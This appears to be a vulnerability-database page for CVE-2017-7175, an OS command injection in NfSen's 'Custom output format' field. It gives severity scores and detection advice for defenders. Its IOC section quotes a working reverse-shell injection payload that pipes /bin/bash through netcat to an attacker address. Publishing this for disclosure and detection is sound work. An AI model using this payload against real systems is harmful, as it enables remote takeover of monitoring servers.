cbcvebase.
CVE-2017-7175
published 2017-07-10

CVE-2017-7175: NfSen before 1.3.8 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the customfmt parameter (aka the "Custom output format"…

PriorityP268critical9.9CVSS 3.0
AVNACLPRLUINSCCHIHAH
EXPLOIT
EPSS
6.55%
93.0th percentile
NfSen before 1.3.8 allows remote attackers to execute arbitrary OS commands via shell metacharacters in the customfmt parameter (aka the "Custom output format" field).

Affected

1 ranges
VendorProductVersion rangeFixed in
nfsennfsen<= 1.3.7—

Detection & IOCsextracted from sources · hover to see the quote

command'; nc -ne /bin/bash 10.100.1.2 443 #↗
  • →Monitor HTTP requests to NfSen web interface for shell metacharacters (e.g., single quotes, semicolons, pipe characters) in the 'customfmt' parameter (Custom output format field). ↗
  • →A remote authenticated attacker or one with a stolen PHP Session ID can exploit this; monitor for anomalous PHP session usage or session token reuse from unexpected IPs. ↗
  • →Look for outbound nc (netcat) connections spawned from the NfSen/web server process, particularly with flags '-ne' and a shell path, indicating reverse shell establishment. ↗
  • ·The PoC reverse shell IP (10.100.1.2) is the attacker-controlled machine used in the proof-of-concept and is a private/RFC1918 address; it is not a fixed IOC and will vary per attacker in real-world exploitation. ↗
  • ·The exploit notes that if nc is not available on the target, alternative payloads can be used; defenders should not rely solely on detecting nc-based reverse shells. ↗

CVSS provenance

nvdv3.09.9CRITICALCVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
nvdv2.09.0CRITICALAV:N/AC:L/Au:S/C:C/I:C/A:C
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.